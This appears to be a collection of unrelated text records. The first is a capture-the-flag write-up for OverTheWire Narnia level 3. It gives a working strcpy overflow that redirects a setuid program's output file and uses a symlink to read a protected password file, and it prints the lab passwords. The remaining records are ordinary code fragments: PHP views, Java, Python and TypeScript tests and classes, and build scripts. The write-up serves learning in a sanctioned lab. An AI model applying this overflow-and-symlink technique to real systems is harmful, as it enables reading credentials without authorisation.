text:
---
layout: post
title:  "Narnia Level 3"
date:   2015-10-12 12:52
categories: narnia wargame pwnable overthewire python c
author: Leander
---

This is a solution guide to the Narnia3 Level at [overthewire](http://overthewire.org/wargames/narnia/). This write-up was created on 12 October 2015.

Challenge Description: Narnia3 requires the attacker to take advantage of a strcpy() vulnerability which does not have any bounds checking. Since the strcpy() is executed blindly it creates a situation where the user can overwrite the buffer affecting all the variables in main.

First connect to the lab

ssh narnia3@narnia.labs.overthewire.org

Enter the following as the password vaequeezee

Change directories to the narnia games folder: `cd /narnia`. Next, let's examine how we get the password for the next level: `less narnia3.c`

{% highlight c linenos %}
int main(int argc, char **argv){

 int  ifd,  ofd;
 char ofile[16] = "/dev/null";
 char ifile[32];
 char buf[32];

 if(argc != 2){
  printf("usage, %s file, will send contents of file 2 /dev/null\n",argv[0]);
  exit(-1);
 }

/* open files */
 strcpy(ifile, argv[1]);
 if((ofd = open(ofile,O_RDWR)) < 0 ){
  printf("error opening %s\n", ofile);
  exit(-1);
 }
 if((ifd = open(ifile, O_RDONLY)) < 0 ){
  printf("error opening %s\n", ifile);
  exit(-1);
 }

/* copy from file1 to file2 */
 read(ifd, buf, sizeof(buf)-1);
 write(ofd,buf, sizeof(buf)-1);
 printf("copied contents of %s to a safer place... (%s)\n",ifile,ofile);

/* close 'em */
 close(ifd);
 close(ofd);

 exit(1);
}
{% endhighlight %}

This is an interesting problem because the program accepts a command line argument and then does a strcpy() of argv[1] on line 14. When we check the man pages for strcpy() we find, "The  strcpy()  function copies the string pointed to by src, including the terminating null byte ('\0'), to the buffer  pointed  to  by  dest." We also find at the end of the man page a specific bug (shortcut is shift+gg):

BUGS
 If the destination string of a strcpy() is not large enough, then  any-
 thing  might  happen.   Overflowing  fixed-length  string  buffers is a
 favorite cracker technique for taking complete control of the  machine.
 Any  time  a  program  reads  or copies data into a buffer, the program
 first needs to check that there's enough space.  This may  be  unneces-
 sary  if you can show that overflow is impossible, but be careful: pro-
 grams can get changed over time, in ways that may make  the  impossible
 possible.

Great so now we know we have another buffer overflow, and you can find more information about buffer overflows at [exploit-db](https://www.exploit-db.com/papers/13207/). So knowing this information we now know that strcpy() will take everything it finds in argv[1] until it reaches a null character, but the buffer for ifile is only 32 bytes. If our argv[1] were longer than 32 bytes it would overflow into something, but now the question is:

* What is the something that argv[1] overuns?
* Can we take advantage of the buffer overrun and make it do something unintended?

First, lets make some files. Since we know that the buffer needs to be overrun by 32 bytes we need to name a file something that is larger than 32 bytes. After the file is created we can test our theory with:

{% highlight bash linenos %}
python -c 'print(len("/tmp/" + "a"*27))' #verify our temp folder is long enough
mkdir -p $(python -c 'print ("/tmp/" + "a"*27 + "/tmp")') #create the directory
cd $(python -c 'print ("/tmp/" + "a"*27 + "/tmp")') #change to the directory
/narnia/narnia3 `pwd`/abc #test theory
{% endhighlight %}

![Test Theory](/images/narnia03_first_test.png)

This creates a directory in the tmp folder [^1] called aaaaaaaaaaaaaaaaaaaaaaaaaaa. The screenshot tells us that we are either overunning the ifile or the ofile, because it notified us of an error that it couldn't open "/abc", but did not provide us the entire directory we tried to open. Let's examine which we are overrunning with `objdump -d -M intel /narnia/narnia3`

First, I'm going to build a visual image of what the stack looks like.[^2] Our variables are declared in this order ifd, ofd, ofile[16], ifile[32], and buf[32]. Beginning at 0x8048523 the stack expands by 112 bytes. Which means the bytes are reserved as follows: bottom 4 bytes[^3] are ifd, followed by 4 bytes ofd, 16 bytes for ofile, 32 bytes for ifile, and 32 bytes for buff. This is a total of 88 bytes - the remainder of the bytes are used for local variables.

      Stack
      Register Info
      Notes

      int ifd
      esp+108
      4-byte integer in file descriptor

      int ofd
      esp+104
      4-byte integer out file descriptor

      0

      l

      /nul

      /dev

      esp+100

      esp+96

      esp+92

      esp+88
      This is where ofile[16] is located. We can determine this because ofile is 16 bytes and is statically assigned /dev/null in line 4 of the source code.

      char ifile[32]
      esp+84

      ...

      esp+56

      ifile is located here and encompasses 32 bytes, ending at esp+84.

      char buff[32]
      esp+52

      ...

      esp+24

      buff[32] is located here and encompasses 32 bytes, ending at esp+52.

      local variables
      esp+20

      ...

      esp+0

      There is space reserved for several local variables. These local variables established for passing arguments to C standard library functions such as read, open, and strcpy.

Confirm the view of the stack by observing it at a designated breakpoint - 0x8048546[^4]. It doesn't look like text, but that is because we are viewing all hexidecimal values. We can type a simple command in order to see the known string in the stack as shown: ```x/s $esp+88```

![gdb stack view at breakpoint](/images/narnia03_gdb_stack_view.png)

Beginning at 0x8048526 the character string /dev/null for ofile is placed onto the top of the stack at esp+58. The next interesting point is around 0x8048579 where a strcpy operation takes arg[1] and copies it into ifile. If we reference our stack table now we can see what is happened to our input earlier, because the "abc" overflowed into the ofile!

![objdump screenshot with intel syntax](/images/narnia03_objdump_screenshot.png)

Now it's time to craft our input to take advantage of this vulnerability. The general idea is that we are going to use two file names with the same name to pass as arguments to ifile and ofile. We will take advantage of the write function which was previously writing to /dev/null and make it write something else instead. Which if we create a symbollically linked file as our input we can read the key.

{% highlight bash linenos %}
python -c 'print(len("/tmp/" + "a"*27))' #verify our temp folder is long enough
mkdir -p $(python -c 'print ("/tmp/" + "a"*27 + "/tmp")') #create the directory
cd $(python -c 'print ("/tmp/" + "a"*27 + "/tmp")') #change to the directory
ln -s /etc/narnia_pass/narnia4 abc #create the symbollically linked file
touch /tmp/abc #create our temp file for the key
chmod 777 /tmp/abc #where the key will be written
/narnia/narnia3 `pwd`/abc #test our solution
cat /tmp/abc #read key
{% endhighlight %}

BINGO! level 4 password is ```thaenohtai```

--------

Footnotes:

[^1]: I use the tmp folder because that is the one of the few globally write/read folders in the linux system from which I don't need a specific user's access privileages to use. This allows me to create folders inside /tmp which will be owned by myself and then still be able to read other folders or files inside the tmp directory, provided I know the file or directory name.
[^2]: The numbers I reference are different than what is in the screenshot because I am using decimal instead of hexadecimal number references. It is only a matter of preference and is easier for me to read.
[^3]: How do I know it's 4 bytes for the variable? Well an integer value has a maximum value of 4,294,967,296. Which factors into a value of 2^32, and last 32 bits / 8, because 8 bits are in a byte, = 4 bytes.
[^4]: First you have to make sure you have a readable file, next you need to open the file using gdb: ```gdb ./narnia3 test```. Next set a breakpoint: ```b *0x8048546``` and then type ```run```. Last, examine the stack with the following command: ```x /40xw $esp```. If you need to learn more about gdb check out [this cheat sheet](http://darkdust.net/files/GDB%20Cheat%20Sheet.pdf).


text:
<?php

?>
<?php
	//XXX: if we do not set the id, there is a problem during ajax calls because we do not reload the whole page (ie: we do not recalculate all the widgets ids).
	$this->widget('sweelix\yii1\ext\web\widgets\ListView', array(
		'dataProvider' => $contentsDataProvider,
		'id' => 'contentsList',
		'tagName' => 'table',
		'itemView' => '_itemView',
		'headerView' => '_headerView',
		'footerView' => '_footerView',
		// 'summaryView' => '_summaryView',
		'template' => "\n
\n{header}\n{summary}\n
\n
\n{items}\n
\n
\n{footer}\n
\n",
		'viewData' => array(
				'groupId' => $group->groupId,
				'route' => 'group/listContent',
				'title' => 'Page {pageNum} / {pageCount}',
		),
	));
?>

redpajama_set_name: RedPajamaGithub


text:
package org.apache.lucene.codecs.lucene46;

import java.io.InputStream;
import java.nio.file.Path;

import org.apache.lucene.index.DirectoryReader;
import org.apache.lucene.index.IndexReader;
import org.apache.lucene.index.MultiDocValues;
import org.apache.lucene.index.NumericDocValues;
import org.apache.lucene.store.Directory;
import org.apache.lucene.store.FSDirectory;
import org.apache.lucene.util.LuceneTestCase;
import org.apache.lucene.util.TestUtil;

public class TestLucene46UndeadNorms extends LuceneTestCase {

  /** Copy this back to /l/461/lucene/CreateUndeadNorms.java, then:
   *   - ant clean
   *   - pushd analysis/common; ant jar; popd
   *   - pushd core; ant jar; popd
   *   - javac -cp build/analysis/common/lucene-analyzers-common-4.6-SNAPSHOT.jar:build/core/lucene-core-4.6-SNAPSHOT.jar CreateUndeadNorms.java
   *   - java -cp .:build/analysis/common/lucene-analyzers-common-4.6-SNAPSHOT.jar:build/core/lucene-core-4.6-SNAPSHOT.jar CreateUndeadNorms
   *   - cd /tmp/undeadnorms  ; zip index.46.undeadnorms.zip *

import java.io.File;
import java.io.IOException;

import org.apache.lucene.analysis.TokenStream;
import org.apache.lucene.analysis.core.WhitespaceAnalyzer;
import org.apache.lucene.document.Document;
import org.apache.lucene.document.Field;
import org.apache.lucene.document.StringField;
import org.apache.lucene.document.TextField;
import org.apache.lucene.index.IndexWriter;
import org.apache.lucene.index.IndexWriterConfig;
import org.apache.lucene.index.Term;
import org.apache.lucene.store.Directory;
import org.apache.lucene.store.FSDirectory;
import org.apache.lucene.util.Version;

public class CreateUndeadNorms {
  public static void main(String[] args) throws Exception {
    File file = new File("/tmp/undeadnorms");
    if (file.exists()) {
      throw new RuntimeException("please remove /tmp/undeadnorms first");
    }
    Directory dir = FSDirectory.open(file);
    IndexWriter w = new IndexWriter(dir, new IndexWriterConfig(Version.LUCENE_46, new WhitespaceAnalyzer(Version.LUCENE_46)));
    Document doc = new Document();
    doc.add(new StringField("id", "0", Field.Store.NO));
    w.addDocument(doc);
    doc = new Document();
    doc.add(new StringField("id", "1", Field.Store.NO));
    Field content = new TextField("content", "some content", Field.Store.NO);
    content.setTokenStream(new TokenStream() {
        @Override
        public boolean incrementToken() throws IOException {
          throw new IOException("brains brains!");
        }
      });

    doc.add(content);
    try {
      w.addDocument(doc);
      throw new RuntimeException("didn't hit exception");
    } catch (IOException ioe) {
      // perfect
    }
    w.close();
    dir.close();
  }
}
*/
  /**
   * LUCENE-6006: Test undead norms.
   *                                 .....
   *                             C C  /
   *                            /<   /
   *             ___ __________/_#__=o
   *            /(- /(\_\________   \
   *            \ ) \ )_      \o     \
   *            /|\ /|\       |'     |
   *                          |     _|
   *                          /o   __\
   *                         / '     |
   *                        / /      |
   *                       /_/\______|
   *                      (   _(    <
   *                       \    \    \
   *                        \    \    |
   *                         \____\____\
   *                         ____\_\__\_\
   *                       /`   /`     o\
   *                       |___ |_______|
   *
   */
  public void testReadUndeadNorms() throws Exception {
    InputStream resource = TestLucene46UndeadNorms.class.getResourceAsStream("index.46.undeadnorms.zip");
    assertNotNull(resource);
    Path path = createTempDir("undeadnorms");
    TestUtil.unzip(resource, path);
    Directory dir = FSDirectory.open(path);
    IndexReader r = DirectoryReader.open(dir);
    NumericDocValues undeadNorms = MultiDocValues.getNormValues(r, "content");
    assertNotNull(undeadNorms);
    assertEquals(2, r.maxDoc());
    assertEquals(0, undeadNorms.get(0));
    assertEquals(0, undeadNorms.get(1));
    dir.close();
    r.close();
  }
}


text:
sap.ui.define(['sap/uxap/BlockBase'], function (BlockBase) {
	"use strict";

	return BlockBase.extend("sap.uxap.sample.SingleView.blocks.PersonalSimpleFormBlock", {
		metadata: {}
	});
}, true);


text:
{% extends 'email_base.html' %}

{% load i18n %}

{% block email_con %}

{% autoescape off %}

{% trans "Hi," %}

{% blocktrans with account=user.username %}To reset the password of your account {{ account }} on {{ site_name }}, please click the following link: {% endblocktrans %}

{{ url_base }}{% url 'auth_password_reset_confirm' uidb36=uid token=token %}

{% trans "If you did not request it, just skip it." %}

{% endautoescape %}

{% endblock %}


text:
import { Emitter } from './util'

const emitter = new Emitter()
emitter.ADD = 'ADD'
emitter.SHOW = 'SHOW'
emitter.SCALE = 'SCALE'

export default emitter


text:
A meta search engine and data archiver for open data packages from a
variety of data catalogues.


text:
<?php

namespace Doctrine\ODM\MongoDB\Tests\Functional;

use Doctrine\ODM\MongoDB\Mapping\Annotations as ODM;
use Doctrine\ODM\MongoDB\Tests\BaseTest;

class BinDataTest extends BaseTest
{
    /**
     * @dataProvider provideData
     */
    public function testBinData($field, $data, $type)
    {
        $test = new BinDataTestUser();
        $test->$field = $data;
        $this->dm->persist($test);
        $this->dm->flush();

        $check = $this->dm->getDocumentCollection(get_class($test))->findOne(array());
        $this->assertInstanceOf('MongoBinData', $check[$field]);
        $this->assertEquals($type, $check[$field]->type);
        $this->assertEquals($data, $check[$field]->bin);
    }

    public function provideData()
    {
        /* In driver versions before 1.2.11, the custom binary data type is
         * incorrectly returned as -128.
         *
         * See: https://jira.mongodb.org/browse/PHP-408
         */
        $expectedBinCustom = version_compare(phpversion('mongo'), '1.2.11', '<') ? -128 : \MongoBinData::CUSTOM;

        return array(
            array('bin', 'test', 0),
            array('binFunc', 'test', \MongoBinData::FUNC),
            array('binByteArray', 'test', \MongoBinData::BYTE_ARRAY),
            array('binUUID', 'test', \MongoBinData::UUID),
            array('binMD5', 'test', \MongoBinData::MD5),
            array('binCustom', 'test', $expectedBinCustom),
        );
    }
}

/** @ODM\Document */
class BinDataTestUser
{
    /** @ODM\Id */
    public $id;

    /** @ODM\Bin */
    public $bin;

    /** @ODM\Bin(type="bin_func") */
    public $binFunc;

    /** @ODM\Bin(type="bin_bytearray") */
    public $binByteArray;

    /** @ODM\Bin(type="bin_uuid") */
    public $binUUID;

    /** @ODM\Bin(type="bin_md5") */
    public $binMD5;

    /** @ODM\Bin(type="bin_custom") */
    public $binCustom;
}


text:
package com.nortal.spring.cw.core.servlet;

/**
 *
 * @author Margus Hanni <margus.hanni@nortal.com>
 * @since 20.05.2015
 */
public final class CwWebAttributes {

   public static final String SAVED_REQUEST = "SPRING_SECURITY_SAVED_REQUEST_KEY";

   public static final String LOCALE_REQUEST_PARAM = "locale";

}


text:
"""Tests for the converters."""

import unittest

from qiskit.converters import circuit_to_instruction
from qiskit import QuantumRegister, ClassicalRegister, QuantumCircuit
from qiskit.circuit import Qubit, Clbit, Instruction
from qiskit.circuit import Parameter
from qiskit.test import QiskitTestCase
from qiskit.exceptions import QiskitError

class TestCircuitToInstruction(QiskitTestCase):
    """Test Circuit to Instruction."""

    def test_flatten_circuit_registers(self):
        """Check correct flattening"""
        qr1 = QuantumRegister(4, "qr1")
        qr2 = QuantumRegister(3, "qr2")
        qr3 = QuantumRegister(3, "qr3")
        cr1 = ClassicalRegister(4, "cr1")
        cr2 = ClassicalRegister(1, "cr2")
        circ = QuantumCircuit(qr1, qr2, qr3, cr1, cr2)
        circ.cx(qr1[1], qr2[2])
        circ.measure(qr3[0], cr2[0])

        inst = circuit_to_instruction(circ)
        q = QuantumRegister(10, "q")
        c = ClassicalRegister(5, "c")

        self.assertEqual(inst.definition[0].qubits, (q[1], q[6]))
        self.assertEqual(inst.definition[1].qubits, (q[7],))
        self.assertEqual(inst.definition[1].clbits, (c[4],))

    def test_flatten_registers_of_circuit_single_bit_cond(self):
        """Check correct mapping of registers gates conditioned on single classical bits."""
        qr1 = QuantumRegister(2, "qr1")
        qr2 = QuantumRegister(3, "qr2")
        cr1 = ClassicalRegister(3, "cr1")
        cr2 = ClassicalRegister(3, "cr2")
        circ = QuantumCircuit(qr1, qr2, cr1, cr2)
        circ.h(qr1[0]).c_if(cr1[1], True)
        circ.h(qr2[1]).c_if(cr2[0], False)
        circ.cx(qr1[1], qr2[2]).c_if(cr2[2], True)
        circ.measure(qr2[2], cr2[0])

        inst = circuit_to_instruction(circ)
        q = QuantumRegister(5, "q")
        c = ClassicalRegister(6, "c")

        self.assertEqual(inst.definition[0].qubits, (q[0],))
        self.assertEqual(inst.definition[1].qubits, (q[3],))
        self.assertEqual(inst.definition[2].qubits, (q[1], q[4]))

        self.assertEqual(inst.definition[0].operation.condition, (c[1], True))
        self.assertEqual(inst.definition[1].operation.condition, (c[3], False))
        self.assertEqual(inst.definition[2].operation.condition, (c[5], True))

    def test_flatten_circuit_registerless(self):
        """Test that the conversion works when the given circuit has bits that are not contained in
        any register."""
        qr1 = QuantumRegister(2)
        qubits = [Qubit(), Qubit(), Qubit()]
        qr2 = QuantumRegister(3)
        cr1 = ClassicalRegister(2)
        clbits = [Clbit(), Clbit(), Clbit()]
        cr2 = ClassicalRegister(3)
        circ = QuantumCircuit(qr1, qubits, qr2, cr1, clbits, cr2)
        circ.cx(3, 5)
        circ.measure(4, 4)

        inst = circuit_to_instruction(circ)
        self.assertEqual(inst.num_qubits, len(qr1) + len(qubits) + len(qr2))
        self.assertEqual(inst.num_clbits, len(cr1) + len(clbits) + len(cr2))
        inst_definition = inst.definition
        cx = inst_definition.data[0]
        measure = inst_definition.data[1]
        self.assertEqual(cx.qubits, (inst_definition.qubits[3], inst_definition.qubits[5]))
        self.assertEqual(cx.clbits, ())
        self.assertEqual(measure.qubits, (inst_definition.qubits[4],))
        self.assertEqual(measure.clbits, (inst_definition.clbits[4],))

    def test_flatten_circuit_overlapping_registers(self):
        """Test that the conversion works when the given circuit has bits that are contained in more
        than one register."""
        qubits = [Qubit() for _ in [None] * 10]
        qr1 = QuantumRegister(bits=qubits[:6])
        qr2 = QuantumRegister(bits=qubits[4:])
        clbits = [Clbit() for _ in [None] * 10]
        cr1 = ClassicalRegister(bits=clbits[:6])
        cr2 = ClassicalRegister(bits=clbits[4:])
        circ = QuantumCircuit(qubits, clbits, qr1, qr2, cr1, cr2)
        circ.cx(3, 5)
        circ.measure(4, 4)

        inst = circuit_to_instruction(circ)
        self.assertEqual(inst.num_qubits, len(qubits))
        self.assertEqual(inst.num_clbits, len(clbits))
        inst_definition = inst.definition
        cx = inst_definition.data[0]
        measure = inst_definition.data[1]
        self.assertEqual(cx.qubits, (inst_definition.qubits[3], inst_definition.qubits[5]))
        self.assertEqual(cx.clbits, ())
        self.assertEqual(measure.qubits, (inst_definition.qubits[4],))
        self.assertEqual(measure.clbits, (inst_definition.clbits[4],))

    def test_flatten_parameters(self):
        """Verify parameters from circuit are moved to instruction.params"""
        qr = QuantumRegister(3, "qr")
        qc = QuantumCircuit(qr)

        theta = Parameter("theta")
        phi = Parameter("phi")
        sum_ = theta + phi

        qc.rz(theta, qr[0])
        qc.rz(phi, qr[1])
        qc.u(theta, phi, 0, qr[2])
        qc.rz(sum_, qr[0])

        inst = circuit_to_instruction(qc)

        self.assertEqual(inst.params, [phi, theta])
        self.assertEqual(inst.definition[0].operation.params, [theta])
        self.assertEqual(inst.definition[1].operation.params, [phi])
        self.assertEqual(inst.definition[2].operation.params, [theta, phi, 0])
        self.assertEqual(str(inst.definition[3].operation.params[0]), "phi + theta")

    def test_underspecified_parameter_map_raises(self):
        """Verify we raise if not all circuit parameters are present in parameter_map."""
        qr = QuantumRegister(3, "qr")
        qc = QuantumCircuit(qr)

        theta = Parameter("theta")
        phi = Parameter("phi")
        sum_ = theta + phi

        gamma = Parameter("gamma")

        qc.rz(theta, qr[0])
        qc.rz(phi, qr[1])
        qc.u(theta, phi, 0, qr[2])
        qc.rz(sum_, qr[0])

        self.assertRaises(QiskitError, circuit_to_instruction, qc, {theta: gamma})

        # Raise if provided more parameters than present in the circuit
        delta = Parameter("delta")
        self.assertRaises(
            QiskitError, circuit_to_instruction, qc, {theta: gamma, phi: phi, delta: delta}
        )

    def test_parameter_map(self):
        """Verify alternate parameter specification"""
        qr = QuantumRegister(3, "qr")
        qc = QuantumCircuit(qr)

        theta = Parameter("theta")
        phi = Parameter("phi")
        sum_ = theta + phi

        gamma = Parameter("gamma")

        qc.rz(theta, qr[0])
        qc.rz(phi, qr[1])
        qc.u(theta, phi, 0, qr[2])
        qc.rz(sum_, qr[0])

        inst = circuit_to_instruction(qc, {theta: gamma, phi: phi})

        self.assertEqual(inst.params, [gamma, phi])
        self.assertEqual(inst.definition[0].operation.params, [gamma])
        self.assertEqual(inst.definition[1].operation.params, [phi])
        self.assertEqual(inst.definition[2].operation.params, [gamma, phi, 0])
        self.assertEqual(str(inst.definition[3].operation.params[0]), "gamma + phi")

    def test_registerless_classical_bits(self):
        """Test that conditions on registerless classical bits can be handled during the conversion.

        Regression test of gh-7394."""
        expected = QuantumCircuit([Qubit(), Clbit()])
        expected.h(0).c_if(expected.clbits[0], 0)
        test = circuit_to_instruction(expected)

        self.assertIsInstance(test, Instruction)
        self.assertIsInstance(test.definition, QuantumCircuit)

        self.assertEqual(len(test.definition.data), 1)
        test_instruction = test.definition.data[0]
        expected_instruction = expected.data[0]
        self.assertIs(type(test_instruction.operation), type(expected_instruction.operation))
        self.assertEqual(test_instruction.operation.condition, (test.definition.clbits[0], 0))

if __name__ == "__main__":
    unittest.main(verbosity=2)


text:
import * as vscode from 'vscode';
import { CommandManager } from '../commands/commandManager';
import { ClientCapability, ITypeScriptServiceClient } from '../typescriptService';
import { ActiveJsTsEditorTracker } from '../utils/activeJsTsEditorTracker';
import { Disposable } from '../utils/dispose';
import { isSupportedLanguageMode, isTypeScriptDocument, jsTsLanguageModes } from '../utils/languageIds';
import { isImplicitProjectConfigFile, openOrCreateConfig, openProjectConfigForFile, openProjectConfigOrPromptToCreate, ProjectType } from '../utils/tsconfig';

namespace IntellisenseState {
	export const enum Type { None, Pending, Resolved, SyntaxOnly }

	export const None = Object.freeze({ type: Type.None } as const);

	export const SyntaxOnly = Object.freeze({ type: Type.SyntaxOnly } as const);

	export class Pending {
		public readonly type = Type.Pending;

		public readonly cancellation = new vscode.CancellationTokenSource();

		constructor(
			public readonly resource: vscode.Uri,
			public readonly projectType: ProjectType,
		) { }
	}

	export class Resolved {
		public readonly type = Type.Resolved;

		constructor(
			public readonly resource: vscode.Uri,
			public readonly projectType: ProjectType,
			public readonly configFile: string,
		) { }
	}

	export type State = typeof None | Pending | Resolved | typeof SyntaxOnly;
}

export class IntellisenseStatus extends Disposable {

	public readonly openOpenConfigCommandId = '_typescript.openConfig';
	public readonly createConfigCommandId = '_typescript.createConfig';

	private _statusItem?: vscode.LanguageStatusItem;

	private _ready = false;
	private _state: IntellisenseState.State = IntellisenseState.None;

	constructor(
		private readonly _client: ITypeScriptServiceClient,
		commandManager: CommandManager,
		private readonly _activeTextEditorManager: ActiveJsTsEditorTracker,
	) {
		super();

		commandManager.register({
			id: this.openOpenConfigCommandId,
			execute: async (rootPath: string, projectType: ProjectType) => {
				if (this._state.type === IntellisenseState.Type.Resolved) {
					await openProjectConfigOrPromptToCreate(projectType, this._client, rootPath, this._state.configFile);
				} else if (this._state.type === IntellisenseState.Type.Pending) {
					await openProjectConfigForFile(projectType, this._client, this._state.resource);
				}
			},
		});
		commandManager.register({
			id: this.createConfigCommandId,
			execute: async (rootPath: string, projectType: ProjectType) => {
				await openOrCreateConfig(projectType, rootPath, this._client.configuration);
			},
		});

		_activeTextEditorManager.onDidChangeActiveJsTsEditor(this.updateStatus, this, this._disposables);

		this._client.onReady(() => {
			this._ready = true;
			this.updateStatus();
		});
	}

	override dispose() {
		super.dispose();
		this._statusItem?.dispose();
	}

	private async updateStatus() {
		const doc = this._activeTextEditorManager.activeJsTsEditor?.document;
		if (!doc || !isSupportedLanguageMode(doc)) {
			this.updateState(IntellisenseState.None);
			return;
		}

		if (!this._client.hasCapabilityForResource(doc.uri, ClientCapability.Semantic)) {
			this.updateState(IntellisenseState.SyntaxOnly);
			return;
		}

		const file = this._client.toOpenedFilePath(doc, { suppressAlertOnFailure: true });
		if (!file) {
			this.updateState(IntellisenseState.None);
			return;
		}

		if (!this._ready) {
			return;
		}

		const projectType = isTypeScriptDocument(doc) ? ProjectType.TypeScript : ProjectType.JavaScript;

		const pendingState = new IntellisenseState.Pending(doc.uri, projectType);
		this.updateState(pendingState);

		const response = await this._client.execute('projectInfo', { file, needFileNameList: false }, pendingState.cancellation.token);
		if (response.type === 'response' && response.body) {
			if (this._state === pendingState) {
				this.updateState(new IntellisenseState.Resolved(doc.uri, projectType, response.body.configFileName));
			}
		}
	}

	private updateState(newState: IntellisenseState.State): void {
		if (this._state === newState) {
			return;
		}

		if (this._state.type === IntellisenseState.Type.Pending) {
			this._state.cancellation.cancel();
			this._state.cancellation.dispose();
		}

		this._state = newState;

		switch (this._state.type) {
			case IntellisenseState.Type.None: {
				this._statusItem?.dispose();
				this._statusItem = undefined;
				break;
			}
			case IntellisenseState.Type.Pending: {
				const statusItem = this.ensureStatusItem();
				statusItem.severity = vscode.LanguageStatusSeverity.Information;
				statusItem.text = vscode.l10n.t("Loading IntelliSense status");
				statusItem.detail = undefined;
				statusItem.command = undefined;
				statusItem.busy = true;
				break;
			}
			case IntellisenseState.Type.Resolved: {
				const noConfigFileText = this._state.projectType === ProjectType.TypeScript
					? vscode.l10n.t("No tsconfig")
					: vscode.l10n.t("No jsconfig");

				const rootPath = this._client.getWorkspaceRootForResource(this._state.resource);
				if (!rootPath) {
					if (this._statusItem) {
						this._statusItem.text = noConfigFileText;
						this._statusItem.detail = !vscode.workspace.workspaceFolders
							? vscode.l10n.t("No opened folders")
							: vscode.l10n.t("File is not part opened folders");
						this._statusItem.busy = false;
					}
					return;
				}

				const statusItem = this.ensureStatusItem();
				statusItem.busy = false;
				statusItem.detail = undefined;

				statusItem.severity = vscode.LanguageStatusSeverity.Information;
				if (isImplicitProjectConfigFile(this._state.configFile)) {
					statusItem.text = noConfigFileText;
					statusItem.detail = undefined;
					statusItem.command = {
						command: this.createConfigCommandId,
						title: this._state.projectType === ProjectType.TypeScript
							? vscode.l10n.t("Create tsconfig")
							: vscode.l10n.t("Create jsconfig"),
						arguments: [rootPath],
					};
				} else {
					statusItem.text = vscode.workspace.asRelativePath(this._state.configFile);
					statusItem.detail = undefined;
					statusItem.command = {
						command: this.openOpenConfigCommandId,
						title: vscode.l10n.t("Open config file"),
						arguments: [rootPath],
					};
				}
				break;
			}
			case IntellisenseState.Type.SyntaxOnly: {
				const statusItem = this.ensureStatusItem();
				statusItem.severity = vscode.LanguageStatusSeverity.Warning;
				statusItem.text = vscode.l10n.t("Partial Mode");
				statusItem.detail = vscode.l10n.t("Project Wide IntelliSense not available");
				statusItem.busy = false;
				statusItem.command = {
					title: vscode.l10n.t("Learn More"),
					command: 'vscode.open',
					arguments: [
						vscode.Uri.parse('https://aka.ms/vscode/jsts/partial-mode'),
					]
				};
				break;
			}
		}
	}

	private ensureStatusItem(): vscode.LanguageStatusItem {
		if (!this._statusItem) {
			this._statusItem = vscode.languages.createLanguageStatusItem('typescript.projectStatus', jsTsLanguageModes);
			this._statusItem.name = vscode.l10n.t("JS/TS IntelliSense Status");
		}
		return this._statusItem;
	}
}


text:
'use strict';

import del from 'del';
import gulp from 'gulp';
import watch from 'gulp-watch';
import eslint from 'gulp-eslint';
import uglify from 'gulp-uglify';
import sourcemaps from 'gulp-sourcemaps';
import gulpif from 'gulp-if';
import gutil from 'gulp-util';
import browserify from 'browserify';
import babelify from 'babelify';
import browserSync from 'browser-sync';
import source from 'vinyl-source-stream';
import buffer from 'vinyl-buffer';
import {argv} from 'yargs';

// Customise these directories as needed
const paths = {
  source: './src/',
  build: './build/',
  scripts: './build/scripts',
  static: './static/',
  phaser: './node_modules/phaser/build/'
};

// Builds the application by using babel to convert the ES6 to ES5 and saving
// the output in the build scripts directory as "game.js". The code will be
// minified if the task is run in production mode (using the --production
// argument).
function build() {
  let type = argv.production ? 'production' : 'development';
  gutil.log(gutil.colors.green('Building in ' + type + ' mode...'));

  return browserify(paths.source + '/game.js')
    .transform(babelify, {presets: ['es2015']})
    .bundle()
    .pipe(source('game.js'))
    .pipe(buffer())
    .pipe(sourcemaps.init())
    .pipe(gulpif(argv.production, uglify()))
    .pipe(gulpif(!argv.production, sourcemaps.write('.')))
    .pipe(gulp.dest(paths.scripts));
}

// Copies phaser.min.js to the build directory. The unminified version and
// sourcemaps for phaser will be copied if the game is built in development
// mode.
function copyPhaser() {
  let files = [paths.phaser + '/phaser.min.js'];
  if (!argv.production) {
    files.push(paths.phaser + '/phaser.js');
    files.push(paths.phaser + '/phaser.map');
  }

  return gulp
    .src(files)
    .pipe(gulp.dest(paths.scripts));
}

// Copies files from the static folder to the build directory.
function copyStatic() {
  return gulp
    .src(paths.static + '/**/*')
    .pipe(gulp.dest(paths.build));
}

// Lints all JavaScript files in the src folder using ESLint. This is to ensure
// all code follows your preferred convention guidelines. Edit .eslintrc.json to
// customise rules to your liking.
//
// You can optionally supply the --strict argument when running gulp to fail the
// build if code styling errors are found.
function lint() {
  return gulp
    .src(paths.source + '/**/*.js')
    .pipe(eslint())
    .pipe(eslint.format())
    .pipe(gulpif(argv.strict, eslint.failAfterError()));
}

// Cleans the build directory.
function cleanBuild() {
  return del([paths.build]);
}

// Serves the build directory as a web server. Change "open" to true if you
// want your web browser to be opened automatically.
function serve() {
  browserSync.init({
    server: paths.build,
    open: false
  });
}

// Reloads the web browser through browser sync
function reload() {
  browserSync.reload();
}

// Watches the source and static directories, rebuilding when a change is
// detected.
function watchFiles() {
  let files = [
    paths.source + '/**/*.js',
    paths.static + '/**/*'
  ];

  watch(files, () => {
    gulp.start('rebuild');
  });
}

// Tasks
gulp.task('clean', cleanBuild);
gulp.task('lint', lint);
gulp.task('copy-phaser', ['clean'], copyPhaser);
gulp.task('copy-static', ['copy-phaser'], copyStatic);
gulp.task('build', ['lint', 'copy-static'], build);
gulp.task('rebuild', ['build'], reload);
gulp.task('serve', ['build', 'watch'], serve);
gulp.task('watch', watchFiles);
gulp.task('default', ['serve']);


text:
(function () {

    'use strict';
    var app = angular.module('gdgApp.scrollAwareHeader');

    app.animation('.hideHeader', function () {
        return {
            addClass: function (element) {
                TweenMax.to(element, 1, {y: '-100px'});
            },
            removeClass: function (element) {
                TweenMax.to(element, 0.5, {y: '0px'});
            }
        }
    });

})();


text:
package control;//: control/WhileTest.java
// Demonstrates the while loop.

public class WhileTest {
  static boolean condition() {
    boolean result = Math.random() < 0.99;
    System.out.print(result + ", ");
    return result;
  }
  public static void main(String[] args) {
    while(condition())
      System.out.println("Inside 'while'");
    System.out.println("Exited 'while'");
  }
} /* (Execute to see output) *///:~


text:
package com.unionpaysmart.data.sdk.info.api;

import com.unionpaysmart.data.sdk.api.DataApi;
import com.unionpaysmart.data.sdk.model.info.request.PersonalInvestRequest;
import com.unionpaysmart.data.sdk.model.info.response.PersingleGr;
import com.unionpaysmart.data.sdk.model.info.response.PersonalInvestResponse;
